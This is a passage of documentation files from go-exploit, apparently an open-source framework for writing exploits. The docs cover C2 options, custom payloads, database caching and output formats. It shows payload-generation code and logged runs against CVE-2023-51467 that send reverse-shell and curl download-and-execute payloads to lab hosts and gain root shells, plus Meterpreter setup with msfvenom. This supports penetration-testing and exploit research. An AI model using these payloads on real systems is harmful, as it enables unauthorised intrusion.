sqlite3 driver. _ "modernc.org/sqlite" ) const ( verifiedUpsert = `INSERT INTO verified (id, created, software_name, installed, version, rhost, rport)` + `VALUES ((SELECT id FROM verified WHERE rhost = ? AND rport = ? AND software_name = ?), ?, ?, ?, ?, ?, ?)` + `ON CONFLICT(id) DO UPDATE SET ` + `software_name = excluded.software_name,` + `installed = excluded.installed,` + `rhost = excluded.rhost,` + `rport = excluded.rport,` + `version = excluded.version;` cacheUpsert = `INSERT INTO http_cache (id, created, rhost, rport, uri, data)` + `VALUES ((SELECT id FROM http_cache WHERE rhost = ? AND rport = ? AND uri = ?), ?, ?, ?, ?, ?)` + `ON CONFLICT(id) DO UPDATE SET ` + `rhost = excluded.rhost,` + `rport = excluded.rport,` + `uri = excluded.uri,` + `data = excluded.data;` ) func UpdateVerified(software string, installed bool, version string, rhost string, rport int) bool { if GlobalSQLHandle == nil { return true } _, err := GlobalSQLHandle.Exec(verifiedUpsert, rhost, rport, software, time.Now().Unix(), software, installed, version, rhost, rport) if err != nil { output.PrintFrameworkError(err.Error()) return false } return true } // Attempt to cache the provided HTTP httpResp in the database. func CacheHTTPResponse(rhost string, rport int, path string, httpResp []byte) { if GlobalSQLHandle == nil { return } // only cache up to a user configurable size if len(httpResp) > GlobalHTTPRespCacheLimit { return } _, err := GlobalSQLHandle.Exec(cacheUpsert, rhost, rport, path, time.Now().Unix(), rhost, rport, path, httpResp) if err != nil { output.PrintfFrameworkError("Error during caching: %s", err.Error()) return } } ================================================ FILE: docs/c2.md ================================================ # Command & Control ## Supported C2 In `go-exploit`, the command and control (C2) provides very basic second stage and/or post-exploitation functionality. At the moment, there are five supported C2 types: 1. *SimpleShellClient* - An unencrypted shell via a bind shell. 2. *SimpleShellServer* - An unencrypted shell via a reverse shell. 3. *SSLShellServer* - An encrypted shell via a reverse shell. 4. *HTTPServeFile* - An HTTP server that serves a user provided file (e.g. to server a Meterpreter payload). 5. *HTTPServeShell* - An HTTP server that serves a user provided binary that will connect back to the exploit for `SSLShellServer` or `SimpleShellServer`. 6. *ShellTunnel* - A C2 that will catch a reverse shell, connect to a listener, and proxy the data between the two. `go-exploit` also supports a `-o` option which means "The c2 is handled by an outside program so don't expect any type of connect back." ## Implementing and Using C2 in an Exploit A `go-exploit` configures available C2 in `main`. For example, if we look at the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go), we'll find the following: ```go func main() { supportedC2 := []c2.Impl{ c2.SSLShellServer, c2.SimpleShellServer, c2.HTTPServeFile, } } conf := config.New(config.CodeExecution, supportedC2, "Apache OFBiz", "CVE-2023-51467", 80) sploit := OFBizXML{} exploit.RunProgram(sploit, conf) } ``` In the snippet above, the exploit has configured three available c2. The default is always the one listed first. In this case, `c2.SSLShellServer` (an encrypted reverse shell) is the default payload. The exploit also supports `c2.SimpleShellServer` and `c2.HTTPServeFile`. To use the non-default c2, you simply need to inform the command line: ```sh albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 10.9.49.88 -rport 8443 -c2 SimpleShellServer -lhost 10.9.49.78 -lport 1270 time=2024-03-05T04:50:27.070-05:00 level=STATUS msg="Starting listener on 10.9.49.78:1270" time=2024-03-05T04:50:27.071-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8443 ssl=false "ssl auto"=true time=2024-03-05T04:50:27.126-05:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.78:1270" time=2024-03-05T04:50:27.126-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/" time=2024-03-05T04:50:28.520-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.88:49402" time=2024-03-05T04:50:28.520-05:00 level=STATUS msg="Active shell from 10.9.49.88:49402" id uid=0(root) gid=0(root) groups=0(root) ``` While `go-exploit` comes with backends that understand different c2, the programmer is expected to provide the appropriate payload. For example, the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) has the following function for defining the payload based on the c2 selected by the user: ```go func generatePayload(conf *config.Config) (string, bool) { generated := "" switch conf.C2Type { case c2.SSLShellServer: output.PrintfStatus("Sending an SSL reverse shell payload for port %s:%d", conf.Lhost, conf.Lport) generated = payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, true) case c2.SimpleShellServer: output.PrintfStatus("Sending a reverse shell payload for port %s:%d", conf.Lhost, conf.Lport) generated = payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, false) case c2.HTTPServeFile: output.PrintfStatus("Sending a curl payload for port %s:%d", conf.Lhost, conf.Lport) curlCommand := payload.LinuxCurlHTTPDownloadAndExecute(conf.Lhost, conf.Lport, httpservefile.GetInstance().TLS, httpservefile.GetInstance().GetRandomName("")) generated = fmt.Sprintf(`new java.lang.ProcessBuilder("/bin/sh", "-c", "%s").start()`, curlCommand) default: output.PrintError("Invalid payload") return generated, false } generated = b64.StdEncoding.EncodeToString([]byte(generated)) return generated, true } ``` ## Using -o Using the `-o` option means that you don't want `go-exploit` to spin up a reverse shell listener (or any other C2) and that connect backs will be handled by a differet (or "outside") program. For example, say I wanted to use `nc` to catch shells instead of my `go-exploit`. The go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) would do that like this: ``` albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 10.9.49.88 -rport 8443 -c2 SimpleShellServer -o -lhost 10.9.49.78 -lport 1270 time=2024-03-05T04:57:12.546-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8443 ssl=false "ssl auto"=true time=2024-03-05T04:57:12.633-05:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.78:1270" time=2024-03-05T04:57:12.633-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/" time=2024-03-05T04:57:22.644-05:00 level=SUCCESS msg="Exploit successfully completed" exploited=true ``` The `nc` program listening on `10.9.49.78:1270` would receive the shell. ``` albinolobster@mournland:~$ nc -lvnp 1270 Listening on 0.0.0.0 1270 Connection received on 10.9.49.88 32866 id uid=0(root) gid=0(root) groups=0(root) ``` ## Using HTTPServeFile The idea behind *HTTPServeFile* is to let the `go-exploit` serve up advanced second stages. For example, say we want to drop Meterpreter on a remote host but there is no Metasploit module for the particular issue? `go-exploit` solves this issue. Again, let's revisit the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) which has an *HTTPServeFile* implementation. First, we need to generate a Meterpreter payload: ```sh albinolobster@mournland:~/metasploit-framework$ ./msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.1.91 lport=1270 -f elf -o /tmp/meterpreter [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 1068672 bytes Final size of elf file: 1068672 bytes Saved as: /tmp/meterpreter ``` Then we start a Meterpreter listener: ```sh msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp PAYLOAD => linux/x64/meterpreter_reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.91 LHOST => 192.168.1.91 msf6 exploit(multi/handler) > set LPORT 1270 LPORT => 1270 msf6 exploit(multi/handler) > run ``` We can then throw the exploit that will trigger a download of the file from `go-exploit`. The CVE-2023-51467 achieves that with the following payload: ```sh case c2.HTTPServeFile: output.PrintfStatus("Sending a curl payload for port %s:%d", conf.Lhost, conf.Lport) curlCommand := payload.LinuxCurlHTTPDownloadAndExecute(conf.Lhost, conf.Lport, httpservefile.GetInstance().TLS, httpservefile.GetInstance().GetRandomName("")) generated = fmt.Sprintf(`new java.lang.ProcessBuilder("/bin/sh", "-c", "%s").start()`, curlCommand) ``` Note that we are using the builtin `go-exploit` function `payload.LinuxCurlHTTPDownloadAndExecute` configured with the user provided `TLS` setting and a random filename. From the command line this is invoked like so: ```sh albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 192.168.1.179 -rport 8443 -c2 HTTPServeFile -lhost 192.168.1.91 -lport 8181 -httpServeFile.FilesToServe /tmp/meterpreter time=2024-03-05T05:51:53.307-05:00 level=STATUS msg="Loading the provided file: /tmp/meterpreter" time=2024-03-05T05:51:53.310-05:00 level=STATUS msg="Starting target" index=0 host=192.168.1.179 port=8443 ssl=false "ssl auto"=true time=2024-03-05T05:51:53.310-05:00 level=STATUS msg="Starting an HTTP server on 192.168.1.91:8181" time=2024-03-05T05:51:53.454-05:00 level=STATUS msg="Sending a curl payload for port 192.168.1.91:8181" time=2024-03-05T05:51:53.454-05:00 level=STATUS msg="Throwing exploit at https://192.168.1.179:8443/webtools/control/ProgramExport/" time=2024-03-05T05:51:53.928-05:00 level=STATUS msg="Connection from 192.168.1.179:58296 requested /JCibGhgPjkfg" time=2024-03-05T05:51:54.050-05:00 level=SUCCESS msg="Exploit successfully completed" exploited=true time=2024-03-05T05:52:23.329-05:00 level=STATUS msg="Shutting down the HTTP Server" time=2024-03-05T05:52:23.329-05:00 level=STATUS msg="C2 server exited" ``` Note the log that states, *Connection from 192.168.1.179:58296 requested /JCibGhgPjkfg*. This is the indication that the target downloaded the Meterpreter payload. We can then check Metasploit and find: ``` msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp PAYLOAD => linux/x64/meterpreter_reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.91 LHOST => 192.168.1.91 msf6 exploit(multi/handler) > set LPORT 1270 LPORT => 1270 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.1.91:1270 [*] Meterpreter session 1 opened (192.168.1.91:1270 -> 192.168.1.179:53880) at 2024-03-05 05:48:21 -0500 meterpreter > shell Process 136 created. Channel 1 created. id uid=0(root) gid=0(root) groups=0(root) pwd /usr/src/apache-ofbiz ``` ================================================ FILE: docs/custom-payloads.md ================================================ # Custom Payloads in go-exploit Custom payloads (or Bring-Your-Own-Payload (BYOP)) are supported from the go-exploit command line interface and exploit developers should aim to attempt to support the usecase whenever possible as it adds a lot of flexibility for users. When an exploit adds support for a payload using `config.AddPayload` depending on the supported payloads, the file based (ELF, SO, .exe, .dll, webshell) types will add a `-payload` option that will automatically read a file from disk and add it to `config.CustomPayload` if the user uses the flag. If the user uses one of the new `payload.*Command` types then `-command` flag will be available and `config.CustomPayload` will contain the value provided by that flag (or it can be accessed directly from the normal flag handling for the string type). Details for this can be seen in the package documentation: - Payload API documentation: https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/payload - `config.AddPayload` API documentation: https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/config#Config.AddPayload An example of how to define the code for this, the following adds support for a generic command and 2 payload types of different architectures: ```go supportedPayload := []payload.Supported{ { Type: payload.GenericCommand, Arch: payload.None, Effects: payload.NoEffects, Default: true, }, { Type: payload.LinuxELF, Arch: payload.AMD64, Effects: payload.NoEffects, }, { Type: payload.LinuxELF, Arch: payload.ARM64, Effects: payload.Effects{ payload.FileCreate: []string{"/var/www/html/pwnt", "/var/www/html/pwnt2"}, }, }, } conf := config.NewRemoteExploit( config.ImplementedFeatures{AssetDetection: true, VersionScanning: false, Exploitation: true}, config.CodeExecution, supportedC2, "", []string{""}, []string{""}, "CVE-2023-28324", "HTTP", 80) conf.AddPayload(supportedPayload...) ``` Now when the exploit is run the following options can be seen: ``` ... -command string Command to use for the exploit, an empty string will use the exploit default. ... -payload string Path to load custom payload from, an empty string will use the exploit default. -payload-arch string Payload architecture to use based on supported archs: none, amd64, arm64 (default "none") -payload-type string Payload type to use based on supported types: GenericCommand, LinuxELF, LinuxELF (default "GenericCommand") ... ``` If a payload is defined with only one architecture -payload-arch will not show up and if only one payload type is defined -payload-type will also disappear. For example: ```go supportedPayload := []payload.Supported{ { Type: payload.GenericCommand, Arch: payload.None, Effects: payload.NoEffects, Default: true, }, } conf := config.NewRemoteExploit( config.ImplementedFeatures{AssetDetection: true, VersionScanning: false, Exploitation: true}, config.CodeExecution, supportedC2, "", []string{""}, []string{""}, "CVE-2023-28324", "HTTP", 80) conf.AddPayload(supportedPayload...) ``` will yield the following flags with none of the others: ``` ... -command string Command to use for the exploit, an empty string will use the exploit default. ... ``` Now the implementer will need to add support to their payload generation in order to handle the cases of custom payload use: ```go if conf.HasCustomPayload() { if conf.SelectedPayload.Type.IsCommand() { output.PrintfStatus("using '%s' in place of default", string(conf.CustomPayload)) } else { output.PrintfStatus("using binary len %d in place of default", len(string(conf.CustomPayload))) } } ``` Or if there is a complex case where more specificity is required: ```go switch conf.SelectedPayload.Type { case payload.GenericCommand: output.PrintfStatus("adding GenericCommand") if conf.HasCustomPayload() { // Handle payload, ie any encoding or exploit specific bad chars output.PrintfStatus("using '%s' in place of default", string(conf.CustomPayload)) } // Handle the normal default case case payload.LinuxELF: output.PrintfStatus("adding LinuxELF") if conf.HasCustomPayload() { // Handle payload, ie any encoding or exploit specific bad chars output.PrintfStatus("using binary len %d in place of default", len(string(conf.CustomPayload))) } // Handle the normal default case } ``` ## Payload and Exploit Effects You can now define payload effects. The above example adds a list of payload effects if the default payload is used. An example of how this is now available in the details listing from the above set of examples to allow for programmatically extracting support from details lists: ```console poptart:~/src/work/payload-test $ go run byop/byop.go -details time=2025-10-10T10:38:43.694-06:00 level=SUCCESS msg="Implementation Details" ExploitType=CodeExecution AssetDetection=true VersionScanner=false Exploitation=true SupportedC2=[SimpleShellServer] SupportedPayloads="[GenericCommand (none): Effects - LinuxELF (amd64): Effects - LinuxELF (arm64): Effects - (FileCreate: /var/www/html/pwnt, /var/www/html/pwnt2)]" Vendor="" Products=[] CPE=[] CVE=CVE-2023-28324 Protocol=HTTP DefaultPort=80 CustomFlags="[{Name:command Type:string Default:} {Name:payload Type:string Default:} {Name:payload-type Type:string Default:GenericCommand} {Name:payload-arch Type:string Default:none}]" ``` ## Reference * Initial Change details: https://github.com/vulncheck-oss/go-exploit/pull/459 ================================================ FILE: docs/db.md ================================================ # Database Usage go-exploit supports the use of an SQLite3 database in order to facilite cross-exploit communication and HTTP caching. This is optional, but can greatly improve the performance of large scale scanning. To use this feature, use the `-db` command line option. The provided file can be empty or a database created during previous runs of go-exploit. In the example below, we use the option `-db vc.db` to use the non-existent file `vc.db`: ```console albinolobster@mournland:~/initial-access/feed/cve-2024-31982$ ls vc.db ls: cannot access 'vc.db': No such file or directory albinolobster@mournland:~/initial-access/feed/cve-2024-31982$ ./build/cve-2024-31982_linux-arm64 -v -c -rhost 10.9.49.29 -rport 8080 -db vc.db -fll TRACE time=2024-06-26T15:54:18.902-04:00 level=DEBUG msg="Using the HTTP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" time=2024-06-26T15:54:18.911-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.29 port=8080 ssl=false "ssl auto"=false time=2024-06-26T15:54:18.911-04:00 level=STATUS msg="Validating XWiki target" host=10.9.49.29 port=8080 time=2024-06-26T15:54:19.068-04:00 level=SUCCESS msg="Target verification succeeded!" host=10.9.49.29 port=8080 verified=true time=2024-06-26T15:54:19.068-04:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.29 port=8080 time=2024-06-26T15:54:19.068-04:00 level=TRACE msg="HTTP cache hit: http://10.9.49.29:8080/" time=2024-06-26T15:54:19.069-04:00 level=VERSION msg="The reported version is 14.10.7" host=10.9.49.29 port=8080 version=14.10.7 time=2024-06-26T15:54:19.070-04:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.29 port=8080 vulnerable=yes albinolobster@mournland:~/initial-access/feed/cve-2024-31982$ ls vc.db vc.db ``` In the TRACE output we can see that there is an HTTP cache hit during version scanning, this is because the first request in target verfication was cached. If we run the exploit again we will see more TRACE output: ```console albinolobster@mournland:~/initial-access/feed/cve-2024-31982$ ./build/cve-2024-31982_linux-arm64 -v -c -rhost 10.9.49.29 -rport 8080 -db vc.db -fll TRACE time=2024-06-26T15:55:57.566-04:00 level=DEBUG msg="Using the HTTP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" time=2024-06-26T15:55:57.570-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.29 port=8080 ssl=false "ssl auto"=false time=2024-06-26T15:55:57.570-04:00 level=STATUS msg="Validating XWiki target" host=10.9.49.29 port=8080 time=2024-06-26T15:55:57.570-04:00 level=TRACE msg="Verified software cache hit" result=true time=2024-06-26T15:55:57.570-04:00 level=SUCCESS msg="Target verification succeeded!" host=10.9.49.29 port=8080 verified=true time=2024-06-26T15:55:57.570-04:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.29 port=8080 time=2024-06-26T15:55:57.570-04:00 level=TRACE msg="HTTP cache hit: http://10.9.49.29:8080/" time=2024-06-26T15:55:57.570-04:00 level=VERSION msg="The reported version is 14.10.7" host=10.9.49.29 port=8080 version=14.10.7 ``` Note the first TRACE this time is for `Verified software cache hit`. That is because the result of the previous run was saved in the database, so this exploit knows that 10.9.49.29:8080 is XWiki. ```console albinolobster@mournland:~/initial-access/feed/cve-2024-31982$ sqlite3 vc.db SQLite version 3.31.1 2020-01-27 19:55:54 Enter ".help" for usage hints. sqlite> select * from verified; 1|1719431659|XWiki|1|14.10.7|10.9.49.29|8080 sqlite> ``` In fact, on this second run, no network traffic was generated. This has a variety of useful applications including improved speed, asset database generation, easy to create test databases, and "scanless" scans. In order to utilize the DB, implementing exploits must use the HTTPGetCache API call. ================================================ FILE: docs/development.md ================================================ # Developing `go-exploit` The goal of `go-exploit` is to facilitate faster, more portable, and feature-rich exploit development. It is important to note that `go-exploit` is not a repository of exploits itself. The infosec community benefits from having a wide range of exploits for a single CVE, rather than relying solely on a single "approved" exploit within a massive framework. Therefore, contributions to this repository should focus on making exploit development easier or improving the overall quality of developed exploits. This can be achieved through various means, such as: * Adding more command and control (C2) options * Supporting additional protocols * Including more payloads * Implementing obfuscation techniques * And more. If you have ideas that align with these goals, we welcome your pull requests. Development within `go-exploit` is relatively straightforward. The only slightly different aspect is that `go-exploit` is composed of multiple subpackages. This design choice aims to prevent unwanted or unused features from being included in individual exploits. For example, an exploit that utilizes the JNDI LDAP functionality must explicitly import `github.com/vulncheck-oss/java/ldapjndi`. This strict gating helps minimize dependencies and reduce the amount of imported code. ## Linting It is important that the project passes linting without any warnings or errors. You can use our built-in `.golangci.yml` file by running the following command: ```sh golangci-lint run --fix ``` ## Testing Go has a robust built-in unit testing framework. We strongly encourage the development of new tests for issue reproduction and to provide coverage for new features. You can execute all tests by running the following command: ```sh go test ./... ``` ================================================ FILE: docs/exploit-types.md ================================================ # `go-exploit` Exploit Types The `go-exploit` framework currently supports five exploit types. These types determine how the command-line interface accepts arguments and define the post-exploitation behavior. The fives exploit types are defined in `config/config.go`: 1. CodeExecution 2. InformationDisclosure 3. Webshell 4. File Format 5. Local To configure the exploit type in the exploit's `main` function, you can use the `config.New` function for remote exploits as follows: ```go conf := config.New(config.CodeExecution, supportedC2, "My Target", "CVE-2023-1270", 80) ``` Local exploits (including File Format) omits the default port: ```go conf := config.NewLocal(config.FileFormat, supportedC2, "My Target", "CVE-2023-1270") ``` ## Examples ### Code Execution The Code Execution exploit type assumes that the attacker is attempting to exploit a remote target. Depending on the configured command and control (C2) method, the attacker may need to provide local host information or a bind port. Here is an example of invoking verification, version check, and exploitation for a reverse shell using the Code Execution exploit type: ```sh ./exploit -a -v -c -e -rhost 10.12.70.247 -rport 80 -lhost 10.12.70.252 -lport 1270 ``` ### Information Disclosure The Information Disclosure exploit type assumes that there is some type of information leak that does not immediately result in code execution. No command and control (C2) is configured for this exploit type. In the `main` function, it would look like this: ```go conf := config.New(config.InformationDisclosure, []c2.Impl{}, "Minio API", "CVE-2023-28432", 9000) ``` Depending on the specific exploit, you may need to provide a local host and port using the `-lhost` and `-lport` arguments. Here is an example of invoking verification, version check, and exploitation using the Information Disclosure exploit type: ```sh ./exploit -v -c -e -s -rhost 10.12.70.247 -rport 443 ``` ### Webshell The WebShell exploit type assumes that the exploit will drop a webshell on the remote host. No command and control (C2) is configured for this exploit type. In the `main` function, it would look like this: ```go conf := config.New(config.Webshell, []c2.Impl{}, "ThinkPHP", "CVE-2022-47945", 8080) ``` Here is an example of invoking verification, version check, and exploitation using the WebShell exploit type: ```sh ./exploit -v -c -e -s -rhost 10.12.70.247 -rport 443 ``` ================================================ FILE: docs/getting-started.md ================================================ # Getting Started with go-exploit This guide will help you get started with `go-exploit`, a Go package that assists developers in defining the following four stages of exploitation: 1. Target validation 2. [Version checking](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/version-checking.md) 3. Exploitation 4. [Command and control](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md) ## Exploit Skeleton An exploit is structured as follows: ```go package main import ( "github.com/vulncheck-oss/go-exploit" "github.com/vulncheck-oss/go-exploit/c2" "github.com/vulncheck-oss/go-exploit/config" ) type MyExploit struct{} func (sploit MyExploit) ValidateTarget(conf *config.Config) bool { return false } func (sploit MyExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType { return exploit.NotImplemented } func (sploit MyExploit) RunExploit(conf *config.Config) bool { return true } func main() { supportedC2 := []c2.Impl{ c2.SimpleShellServer, c2.SimpleShellClient, } conf := config.NewRemoteExploit( config.ImplementedFeatures{AssetDetection: false, VersionScanning: false, Exploitation: false}, config.CodeExecution, supportedC2, "Vendor", []string{"Product"}, []string{"cpe:2.3:a:vendor:product"}, "CVE-2024-1270", "HTTP", 8080) sploit := MyExploit{} exploit.RunProgram(sploit, conf) } ``` The above code demonstrates the four stages of exploitation that `go-exploit` cares about: 1. `ValidateTarget()` is called to verify if the target is correct. 2. `CheckVersion()` is called to perform a version check on the target. 3. `RunExploit` is called to exploit the target. 4. `main` sets up the possible command and control (C2) methods (e.g., `c2.SimpleShellServer`), defines the type of exploit (`config.CodeExecution`), and passes execution to `go-exploit` using `exploit.RunProgram`. ## Makefile To compile the skeleton, you can use a `Makefile`. Here's a simple one: ``` all: format compile format: go fmt compile: go build clean: go clean ``` ## Compiling To compile the skeleton, follow these steps: 1. Initialize the exploit's `go.mod`, download/validate the most recent `go-exploit`, and create `go.sum`. ```sh go mod init github.com/username/example; GO111MODULE=on go mod tidy; make; ``` ## Conclusion This guide should provide you with enough information to get started with `go-exploit`. For more details on exploit types, [command and control (C2)](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md), and [version checking](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/version-checking.md)), please refer to the [additional documentation](https://github.com/vulncheck-oss/go-exploit/tree/main/docs). ================================================ FILE: docs/output.md ================================================ # Output `go-exploit` supports somewhat unusual output for an exploit framework. However, our belief is that `go-exploit` is more powerful when combined with other automation. As such, it's important that `go-exploit` output data in a form that other machines can easily read. To support that, `go-exploit` supports structured output and log levels. `go-exploit` supports two types of structured output: key-value pairs and JSON. ## Key-Value Output `go-exploit` defaults to key-value output. It looks like the following: ```sh albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -c -e -rhost 10.9.49.88 -rport 8443 -lhost 10.9.49.75 -lport 1271 time=2024-03-05T09:37:18.216-05:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate" time=2024-03-05T09:37:18.507-05:00 level=STATUS msg="Starting TLS listener on 10.9.49.75:1271" time=2024-03-05T09:37:18.507-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8443 ssl=false "ssl auto"=true time=2024-03-05T09:37:18.614-05:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.88 port=8443 time=2024-03-05T09:37:18.928-05:00 level=VERSION msg="The self-reported version is: 18.12" host=10.9.49.88 port=8443 version=18.12 time=2024-03-05T09:37:18.928-05:00 level=SUCCESS msg="The target *might* be a vulnerable version. Continuing." host=10.9.49.88 port=8443 vulnerable=possibly time=2024-03-05T09:37:18.928-05:00 level=STATUS msg="Sending an SSL reverse shell payload for port 10.9.49.75:1271" time=2024-03-05T09:37:18.928-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/" time=2024-03-05T09:37:19.485-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.88:38888" time=2024-03-05T09:37:19.486-05:00 level=STATUS msg="Active shell from 10.9.49.88:38888" id uid=0(root) gid=0(root) groups=0(root ``` Note that when the user drops down into a shell, structured output is not supported. ## JSON Output JSON output may sometimes be preferable. The user only need provide `-log-json` to switch the format: ```sh albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -c -e -rhost 10.9.49.88 -rport 8443 -lhost 10.9.49.75 -lport 1271 -log-json {"time":"2024-03-05T09:38:56.495757869-05:00","level":"STATUS","msg":"Certificate not provided. Generating a TLS Certificate"} {"time":"2024-03-05T09:38:56.576600457-05:00","level":"STATUS","msg":"Starting TLS listener on 10.9.49.75:1271"} {"time":"2024-03-05T09:38:56.576923665-05:00","level":"STATUS","msg":"Starting target","index":0,"host":"10.9.49.88","port":8443,"ssl":false,"ssl auto":true} {"time":"2024-03-05T09:38:56.856895303-05:00","level":"STATUS","msg":"Running a version check on the remote target","host":"10.9.49.88","port":8443} {"time":"2024-03-05T09:38:57.63968813-05:00","level":"VERSION","msg":"The self-reported version is: 18.12","host":"10.9.49.88","port":8443,"version":"18.12"} {"time":"2024-03-05T09:38:57.63978138-05:00","level":"SUCCESS","msg":"The target *might* be a vulnerable version. Continuing.","host":"10.9.49.88","port":8443,"vulnerable":"possibly"} {"time":"2024-03-05T09:38:57.640026421-05:00","level":"STATUS","msg":"Sending an SSL reverse shell payload for port 10.9.49.75:1271"} {"time":"2024-03-05T09:38:57.640299255-05:00","level":"STATUS","msg":"Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/"} {"time":"2024-03-05T09:38:58.189670445-05:00","level":"SUCCESS","msg":"Caught new shell from 10.9.49.88:51544"} {"time":"2024-03-05T09:38:58.189787528-05:00","level":"STATUS","msg":"Active shell from 10.9.49.88:51544"} id uid=0(root) gid=0(root) groups=0(root) ``` ## File Output Output can also be sent to a file. Again, this is a simple flag: `-log-file `. An important feature to note is that `-log-file` appends to files and does not overwrite: ```sh albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -c -e -rhost 10.9.49.88 -rport 8443 -lhost 10.9.49.75 -lport 1271 -log-json -log-file /tmp/test id uid=0(root) gid=0(root) groups=0(root) ^C albinolobster@mournland:~/cve-2023-51467$ tail /tmp/test {"time":"2024-03-05T09:40:28.027454732-05:00","level":"STATUS","msg":"Starting TLS listener on 10.9.49.75:1271"} {"time":"2024-03-05T09:40:28.027820606-05:00","level":"STATUS","msg":"Starting target","index":0,"host":"10.9.49.88","port":8443,"ssl":false,"ssl auto":true} {"time":"2024-03-05T09:40:28.156731155-05:00","level":"STATUS","msg":"Running a version check on the remote target","host":"10.9.49.88","port":8443} {"time":"2024-03-05T09:40:28.454126158-05:00","level":"VERSION","msg":"The self-reported version is: 18.12","host":"10.9.49.88","port":8443,"version":"18.12"} {"time":"2024-03-05T09:40:28.454184074-05:00","level":"SUCCESS","msg":"The target *might* be a vulnerable version. Continuing.","host":"10.9.49.88","port":8443,"vulnerable":"possibly"} {"time":"2024-03-05T09:40:28.454247324-05:00","level":"STATUS","msg":"Sending an SSL reverse shell payload for port 10.9.49.75:1271"} {"time":"2024-03-05T09:40:28.454333616-05:00","level":"STATUS","msg":"Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/"} {"time":"2024-03-05T09:40:28.946425607-05:00","level":"SUCCESS","msg":"Caught new shell from 10.9.49.88:44990"} {"time":"2024-03-05T09:40:28.946604441-05:00","level":"STATUS","msg":"Active shell from 10.9.49.88:44990"} {"time":"2024-03-05T09:40:38.45622329-05:00","level":"SUCCESS","msg":"Exploit successfully completed","exploited":true} ``` ## Log Levels `go-exploit` supports log levels (as you can see in the output above). Perhaps somewhat oddly, the framework supports two log levels. One is for logs messages written by the framework (`-fll`) and the other is for logs written for logs written by the implementing exploit (`-ell`). The following example restricts the framework to `VERSION` messages and higher: ``` albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -c -rhost 10.9.49.88 -rport 8443 -fll VERSION time=2024-03-05T09:44:41.436-05:00 level=VERSION msg="The self-reported version is: 18.12" host=10.9.49.88 port=8443 version=18.12 time=2024-03-05T09:44:41.436-05:00 level=SUCCESS msg="The target *might* be a vulnerable version. Continuing." host=10.9.49.88 port=8443 vulnerable=possibly ``` The following restricts the framework to `SUCCESS` messages and higher, and the exploit to `SUCCESS` or higher: ```sh albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -c -e -rhost 10.9.49.88 -rport 8443 -lhost 10.9.49.75 -lport 1271 -ell SUCCESS -fll SUCCESS time=2024-03-05T09:45:45.969-05:00 level=SUCCESS msg="The target *might* be a vulnerable version. Continuing." host=10.9.49.88 port=8443 vulnerable=possibly time=2024-03-05T09:45:46.365-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.88:41130" id uid=0(root) gid=0(root) groups=0(roo ``` ================================================ FILE: docs/scanning.md 